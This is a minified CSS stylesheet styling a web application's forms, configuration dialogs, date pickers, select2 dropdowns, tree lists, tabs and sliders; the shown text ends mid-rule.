input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.form-box{color:#444;}.form-box a{color:#5d9cec;text-decoration:none;}.form-box a:hover{color:#4a89dc;}.form-box .panel-body{position:relative;}.form-box .panel-body .line,.form-box .panel-body hr{border:none;height:1px;overflow:hidden;background:#ddd;margin:10px 30px;height:2px;background:transparent url("../../../images/common/line.png") repeat-x 0 0;}.form-box .panel-body h1,.form-box .panel-body h2,.form-box .panel-body h3,.form-box .panel-body h4,.form-box .panel-body h5{margin:0.6em 1em 0.5em 30px;padding-bottom:0.4em;border-bottom:1px solid #ddd;}.form-box.config-box .form-header{height:40px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#efefef', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-o-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);-pie-background:linear-gradient(to 60deg,#efefef 0%,#f5f7fa 100%);border-bottom:1px solid #ddd;}.form-box.config-box .form-header .modal-title{height:40px;line-height:40px;padding-left:30px;font-size:14px;}.form-box.config-box .form-header .modal-title img,.form-box.config-box .form-header .modal-title .x-item-file{height:26px;width:26px;line-height:26px;text-align:center;border-radius:15%;display:inline-block;margin-right:10px;padding:0;color:#fff;position:relative;top:8px;}.form-box.config-box .form-header .modal-title img.x-font-icon,.form-box.config-box .form-header .modal-title .x-item-file.x-font-icon{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to 164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));}.form-box.config-box .form-header .modal-title img.font-icon-words,.form-box.config-box .form-header .modal-title .x-item-file.font-icon-words{font-size:10px;}.form-box.config-box .form-header .modal-title i{font-style:normal;}.form-box.config-box .form-header .modal-title img,.form-box.config-box .form-header .modal-title .x-font-icon{top:0px;}.form-box.config-box .panel-body{overflow:auto;border-radius:4px;padding:20px 0;position:absolute;left:0;right:0;top:42px;bottom:71px;margin:0;border:none;background:#fff;}.form-box .form-row{padding:3px 30px;padding-right:5px;width:auto;margin:1px 0;}.form-box .form-row:after{clear:both;}.form-box .form-row.form-group{margin:0;}.form-box .form-row label{margin-right:10px;display:inline;}.form-box .form-row input[type='radio']{display:inline-block;margin-right:10px;}.form-box .form-row input[type='text'],.form-box .form-row input[type='password'],.form-box .form-row input[type='number']{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;display:inline-block;height:28px;width:260px;color:#444;border-radius:4px;padding-left:0.5em;margin-right:10px;}.form-box .form-row input[type='text']:focus,.form-box .form-row input[type='password']:focus,.form-box .form-row input[type='number']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.form-box .form-row input[type='text']:focus,.form-box .form-row input[type='password']:focus,.form-box .form-row input[type='number']:focus{box-shadow:0 0 0 3px rgba(117,161,240,0.33);}.form-box .form-row select{min-width:268px;}.form-box .form-row textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:251px;height:100px;margin-right:10px;border-radius:2px;padding:8px;transition:none;}.form-box .form-row textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.form-box .form-row textarea:focus{box-shadow:0 0 0 3px rgba(117,161,240,0.33);}.form-box .form-row .setting-title{height:30px;line-height:30px;width:140px;margin-right:20px;padding-top:5px;padding-left:5px;float:left;position:relative;text-align:right;}.form-box .form-row .setting-title .require{color:#ff5722;font-size:20px;position:absolute;margin-top:4px;padding:0 0 0 5px;}.form-box .form-row .setting-content{float:left;position:relative;width:70%;padding:5px;border-radius:4px;border:1px solid transparent;}.form-box .form-row .setting-content input.has-btn-right{width:220px;padding-right:40px;}.form-box .form-row .setting-content .input-btn-right{padding:0;margin-left:-50px;position:absolute;width:35px;height:30px;line-height:30px;border-radius:0 4px 4px 0;}.form-box .form-row .setting-content .input-btn-right .font-icon{font-size:14px;width:20px;padding:0 !important;}.form-box .form-row .setting-content input.has-btn-right:focus + .input-btn-right{border-color:#75a1f0;border-left-color:#c7d5ef;}.form-box .form-row .font-icon{padding:0;}.form-box .form-row .user-select{margin:0.5em 0;}.form-box .form-row.form-userSelect .setting-content{background:#f8fcff;padding:10px 5px;margin-top:-5px;}.form-box .form-row.form-userSelect .desc{margin-top:10px;}.form-box .form-row.error .setting-content{background:#ffefed;border-color:#ffb3ae;}.form-box .form-row.form-color .color-picker-view i{width:20px;height:20px;margin-top:5px;box-shadow:0 0 4px #666;display:inline-block;border-radius:2px;}.form-box .form-row .select2-container{width:270px !important;}.form-box .form-row .slider.slider-horizontal{width:260px;margin-right:20px;height:30px;}.form-box .form-row .slider .tooltip{pointer-events:none;}.form-box .form-row .desc,.form-box .form-row .setting-content i{color:#9ba3af;font-style:normal;}.form-box .ztree.group-list-tree a{border:none;padding-left:3px;}.form-box .ztree.group-list-tree a:hover{border:none;}.form-box .ztree.group-list-tree li a.curSelectedNode{color:#fff;}.form-box .ztree.group-list-tree .sub-menu{float:right;display:none;line-height:20px;padding-right:7px;font-size:1.15em;color:#ddd;}.form-box .ztree.group-list-tree .hover .sub-menu{display:inline-block;color:#666;}.form-box .ztree.group-list-tree .curSelectedNode .sub-menu,.form-box .ztree.group-list-tree .hover.curSelectedNode .sub-menu{display:inline-block;color:#fff;}.form-box-title-left .form-row .setting-title{text-align:left;}body .colorpicker{z-index:99999;}body .dialog-plugin-config.dialog-no-title .aui-outer{box-shadow:0 6px 40px 0 rgba(16,17,18,0.3);border:1px solid #ccc !important;border-radius:4px;overflow:hidden;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close{color:#bbb;color:rgba(0,0,0,0.2);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:active,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:active,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:active{background:rgba(0,0,0,0.12);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:active.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:active.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:active.aui-close{color:#fff;background:#e81123;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-title{height:40px;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons{padding-right:20px;height:40px;border-top:1px solid #ddd;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f4f7', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-o-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);-pie-background:linear-gradient(to left,#f2f4f7 0%,#f5f7fa 100%);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons button{margin-top:5px;margin-left:20px;padding:0 2em;height:30px;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons .btn-config-reset{background:none;border:none;box-shadow:none;padding:0px 10px;color:#bbb;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons .btn-config-reset:hover{color:#2196F3;background:#eaf5ff;}div.xdsoft_datetimepicker{border-top:2px solid #39f;padding:0;height:250px;color:#666;}div.xdsoft_datetimepicker .xdsoft_label,div.xdsoft_datetimepicker .xdsoft_month{text-align:center;font-weight:400;}div.xdsoft_datetimepicker .xdsoft_label:hover,div.xdsoft_datetimepicker .xdsoft_month:hover{text-decoration:none;background:#e6f2ff;}div.xdsoft_datetimepicker .xdsoft_label:hover span,div.xdsoft_datetimepicker .xdsoft_month:hover span{color:#20a0ff;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select{box-shadow:0px 2px 10px rgba(0,0,0,0.2);border:1px solid rgba(0,0,0,0.1);max-height:300px;height:200px;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select.xdsoft_monthselect,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select.xdsoft_monthselect{right:0px;width:90px;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select.xdsoft_yearselect,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select.xdsoft_yearselect{right:0px;width:56px;}div.xdsoft_datetimepicker .xdsoft_scrollbar >.xdsoft_scroller{background:rgba(0,0,0,0.3) !important;}div.xdsoft_datetimepicker .xdsoft_calendar td,div.xdsoft_datetimepicker .xdsoft_calendar th{height:30px;text-align:center;background:none;border:none;}div.xdsoft_datetimepicker .xdsoft_calendar td div,div.xdsoft_datetimepicker .xdsoft_calendar th div{padding:0;}div.xdsoft_datetimepicker .xdsoft_calendar th{background:#eee;color:#444;font-weight:400;}div.xdsoft_datetimepicker .xdsoft_datepicker{width:220px;margin-right:10px;}div.xdsoft_datetimepicker .xdsoft_datepicker.active+.xdsoft_timepicker{margin:0;}div.xdsoft_datetimepicker .xdsoft_timepicker{width:70px;border-left:1px solid #ddd;background:#fbfdff;margin:0;margin-left:-1px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_prev,div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_next{margin-left:20px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_time_box{border:none;height:203px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_time_box >div >div{background:none;border:none;}span.select2-container--default .select2-dropdown,span.select2-container--classic .select2-dropdown{box-shadow:0 2px 10px rgba(0,0,0,0.2);border:1px solid #ccc;overflow:hidden;}span.select2-container--default .select2-dropdown .select2-search__field,span.select2-container--classic .select2-dropdown .select2-search__field{border:1px solid #ccc;}span.select2-container--default .select2-selection--multiple,span.select2-container--default .select2-selection--single,span.select2-container--classic .select2-selection--multiple,span.select2-container--classic .select2-selection--single{border:1px solid #ccc;border-radius:4px;outline:none;min-height:32px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice,span.select2-container--default .select2-selection--single .select2-selection__choice,span.select2-container--classic .select2-selection--multiple .select2-selection__choice,span.select2-container--classic .select2-selection--single .select2-selection__choice{background-color:#edf5ff;color:#3a96ff;border-color:#badaff;height:24px;line-height:22px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove,span.select2-container--default .select2-selection--single .select2-selection__choice .select2-selection__choice__remove,span.select2-container--classic .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove,span.select2-container--classic .select2-selection--single .select2-selection__choice .select2-selection__choice__remove{float:right;font-size:15px;color:#3a96ff;width:20px;height:22px;line-height:18px;text-align:center;margin-right:-2px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--default .select2-selection--single .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--classic .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--classic .select2-selection--single .select2-selection__choice .select2-selection__choice__remove:hover{color:#0063d3;}span.select2-container--default.select2-container--focus .select2-selection--multiple,span.select2-container--default.select2-container--focus .select2-selection--single,span.select2-container--classic.select2-container--focus .select2-selection--multiple,span.select2-container--classic.select2-container--focus .select2-selection--single{border:1px solid #3a96ff;}span.select2-container--default .select2-selection--single,span.select2-container--classic .select2-selection--single{background:#f8f8f8 url("../../../images/common//bg.gif") 0px -10px repeat-x;}span.select2-container--default .select2-selection--single .select2-selection__arrow,span.select2-container--classic .select2-selection--single .select2-selection__arrow{height:30px;width:26px;}span.select2-container--default .select2-selection--multiple ul.select2-selection__rendered:after,span.select2-container--classic .select2-selection--multiple ul.select2-selection__rendered:after{content:"";width:23px;height:50%;display:block;color:#aaa;position:absolute;right:1px;top:50%;margin-top:-7px;text-align:center;font-family:FontAwesome;}span.select2-container--default .select2-selection--multiple .select2-search--inline,span.select2-container--classic .select2-selection--multiple .select2-search--inline{height:29px;line-height:23px;}span.select2-container--default .select2-results.group-list-content>.select2-results__options,span.select2-container--classic .select2-results.group-list-content>.select2-results__options{z-index:100;width:100%;height:250px;max-height:250px;}span.select2-container--default .select2-results__option,span.select2-container--classic .select2-results__option{position:relative;}span.select2-container--default .select2-search--inline .select2-search__field,span.select2-container--classic .select2-search--inline .select2-search__field{padding-top:1px;}span.select2-container--default .select2-results__option[aria-selected=true],span.select2-container--default .select2-results__option[aria-selected=true].select2-results__option--highlighted,span.select2-container--classic .select2-results__option[aria-selected=true],span.select2-container--classic .select2-results__option[aria-selected=true].select2-results__option--highlighted{background:#edf5ff;color:#3a96ff;}span.select2-container--default .select2-results__option[aria-selected=true]:after,span.select2-container--classic .select2-results__option[aria-selected=true]:after{content:"\f00c";color:#3a96ff;position:absolute;right:10px;font-size:14px;font-family:FontAwesome;}span.select2-container--default .select2-results__option--highlighted[aria-selected],span.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#eee;color:#444;}span.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,span.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:1px solid transparent;}span.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple,span.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:1px solid transparent;}span.select2-container--default.select2-container--open .select2-dropdown.select2-dropdown--below,span.select2-container--classic.select2-container--open .select2-dropdown.select2-dropdown--below{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);margin-top:-1px;}span.select2-container--default.select2-container--open .select2-dropdown.select2-dropdown--above,span.select2-container--classic.select2-container--open .select2-dropdown.select2-dropdown--above{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);margin-top:1px;box-shadow:0 -2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);}span.select2-container--default.select2-container--open .select2-selection--multiple,span.select2-container--default.select2-container--open .select2-selection--single,span.select2-container--classic.select2-container--open .select2-selection--multiple,span.select2-container--classic.select2-container--open .select2-selection--single{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);}span.select2-container--default .ztree,span.select2-container--classic .ztree{padding:0;}span.select2-container--default .ztree li a,span.select2-container--classic .ztree li a{padding-left:0;height:26px;line-height:26px;border:none;margin:0;border-radius:0;}span.select2-container--default .ztree li a.this,span.select2-container--classic .ztree li a.this{background:#edf5ff;border:none;height:26px;line-height:26px;}span.select2-container--default .ztree li a.this:hover,span.select2-container--classic .ztree li a.this:hover{color:#3a96ff;}span.select2-container--default .ztree li a:hover,span.select2-container--classic .ztree li a:hover{border:none;margin:0;border-radius:0;color:#3a96ff;}span.select2-container--default .ztree .check-icon,span.select2-container--classic .ztree .check-icon{float:right;color:#fff;font-size:12px;text-align:center;width:15px;height:15px;line-height:15px;padding:0;margin-top:5px;margin-right:5px;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;transition:all .1s ease-in-out;}span.select2-container--default .ztree .check-icon:before,span.select2-container--classic .ztree .check-icon:before{content:"\f";}span.select2-container--default .ztree a.this .check-icon:before,span.select2-container--classic .ztree a.this .check-icon:before{content:"\f00c";color:#3a96ff;}body .select2-container{width:270px;margin-right:10px;}.tab-group{text-align:center;margin-bottom:-12px;position:relative;z-index:999;}.tab-group .tab-item{background:#fff;text-align:left;display:inline-block;margin-left:-5px;border:1px solid #ccc;border-bottom-color:#a6a6a6;border-right-color:#b8b8b8;}.tab-group .tab-item:hover{background:#e6e6e6;}.tab-group .tab-item:first-child{border-top-left-radius:3px;border-bottom-left-radius:3px;}.tab-group .tab-item:last-child{border-top-right-radius:3px;border-bottom-right-radius:3px;}.tab-group .tab-item a{text-decoration:none;color:#444;padding:0 15px;height:24px;display:inline-block;line-height:24px;}.tab-group .tab-item.active a{color:#fff;}.tab-group .tab-item.active,.tab-group .tab-item.active:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#6eb4f7', endColorstr='#1a82fb');background-image:-webkit-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-moz-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-o-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-ms-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);-pie-background:linear-gradient(to to bottom,#6eb4f7 0,#1a82fb 100%);color:#fff;z-index:10;border-color:#3f87dc;border-top-color:#4396e6;border-color:#388df8 #388df8 #0866dc transparent;}.tab-group .tab-item.active:hover,.tab-group .tab-item.active:active{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#3e9bf4', endColorstr='#0469de');background-image:-webkit-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:-moz-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:-o-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:-ms-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);-pie-background:linear-gradient(to to bottom,#3e9bf4 0,#0469de 100%);}.tab-group .tab-item:last-child.active,.tab-group .tab-item.active + .tab-item{border-left-color:transparent;}body .slider .slider-track{background:#ddd;box-shadow:none;}body .slider.slider-horizontal .slider-track{height:6px;}body .slider .slider-selection{transition:background-color .3s ease;background:#2196f3;box-shadow:none;}body .slider .slider-handle{margin-left:-7px;margin-top:-6px;width:14px;height:14px;cursor:pointer;border-radius:50%;border:2px solid #88c7f4;background:#fff;transition:border-color .3s ease, transform .3s cubic-bezier(.18,.89,.32,1.28);}body .slider .slider-handle.round:hover{box-shadow:0 0 0 6px rgba(150,219,250,0.7);}body .slider .tooltip{transition:all 0.168s cubic-bezier(0,0.84,0.58,1);}body .slider .tooltip.top{margin-top:-43px;}body .slider .tooltip.bottom{margin-top:20px;}body .slider .tooltip.top .tooltip-arrow{border-top-color:rgba(0,0,0,0.7);}body .slider .tooltip.bottom .tooltip-arrow{border-bottom-color:rgba(0,0,0,0.7);}body .slider .tooltip-inner{background-color:rgba(0,0,0,0.7);box-shadow:0 1px 5px rgba(0,0,0,0.2);padding:8px 15px;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .aui-outer .aui-buttons{box-shadow:0 0 20px #ddd;border-top:1px solid #eee;height:45px;padding-top:5px;border-top:none;background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .form-box.config-box .panel-body{left:130px;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group{position:absolute;left:0;padding:0;width:140px;height:100%;padding-top:20px;z-index:99999;background:#f5f7fa;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item{display:block;border:none;background:none;border-radius:0;font-size:14px;-webkit-transition:0.16s all;-moz-transition:0.16s all;-o-transition:0.16s all;-ms-transition:0.16s all;transition:0.16s all;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:hover{background:#eee;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:first-child,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:last-child{border-radius:0;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item a{padding:0 20px 0 15px;display:block;height:40px;line-height:40px;text-align:right;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active a{color:#2196F3;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover{background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:active{background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover a,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:active a{color:#2196F3;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:last-child.active,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active + .tab-item{border-left-color:transparent;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header{height:40px;border-bottom:1px solid #adabad;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#d3d1d3', endColorstr='#e7e5e7');background-image:-webkit-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-moz-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-o-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-ms-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);-pie-background:linear-gradient(to bottom,#d3d1d3 0%,#e7e5e7 100%);}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title{height:40px;line-height:40px;padding-left:20px;font-size:12px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title img,body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title .x-item-file{height:22px;width:22px;top:8px;margin-right:4px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row .setting-title{text-align:right;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row.form-userSelect .setting-content{background:#f4f4f4;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row.error .setting-content{background:#ffefed;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body{background:#eee;border:1px solid #e3e3e3;margin:20px;top:60px;bottom:30px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body .line,body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body hr{border-color:#ddd;}body .dialog-plugin-config.dialog-form-style-mac .tab-group{position:absolute;margin-top:25px;width:100%;z-index:999;}body .dialog-plugin-config.dialog-form-style-mac .aui-content{background:#f9f9f9;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-title{height:40px;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-buttons{padding-right:20px;height:30px;border-top:1px solid #ddd;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f4f7', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-o-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);-pie-background:linear-gradient(to left,#f2f4f7 0%,#f5f7fa 100%);background:#f9f9f9;border:none;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-buttons button{margin-top:1px;margin-left:20px;padding:0 2em;height:25px;}.message-box{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.message-box .content{padding:10px 30px;line-height:20px;width:auto;}.aui-outer{text-align:left;position:relative;}.aui-mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui-loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui-loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui-border,table.aui-dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui-nw,.aui-n,.aui-ne,.aui-w,.aui-c,.aui-e,.aui-sw,.aui-s,.aui-se,.aui-header,.aui-td-icon,.aui-main,.aui-footer{padding:0;}.aui-header,.aui-buttons button{font:12px/1.11;}.aui-title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui-title img,.aui-title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui-title img:hover,.aui-title .x-item-file:hover{transform:scale(1.1,1.1);}.aui-state-no-title .aui-title{display:none;}.aui-main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui-content{text-align:left;color:#666;border:none 0;}.aui-content{width:100%;height:100%;}.aui-content.aui-state-full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui-icon{vertical-align:middle;background:#fff;}.aui-icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui-buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui-buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui-buttons button:focus{outline:none 0;}.aui-buttons button:hover{background:#c4c4c4;}.aui-buttons button:active{background:#777777;}.aui-buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui-buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui-buttons button.aui-state-highlight{color:#FFF;background:#63acff;}.aui-buttons button.aui-state-highlight:hover{color:#FFF;background:#96c7ff;}.aui-buttons button.aui-state-highlight:active{background:#0076fc;}.aui-buttons button.disable,.aui-buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui-outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px 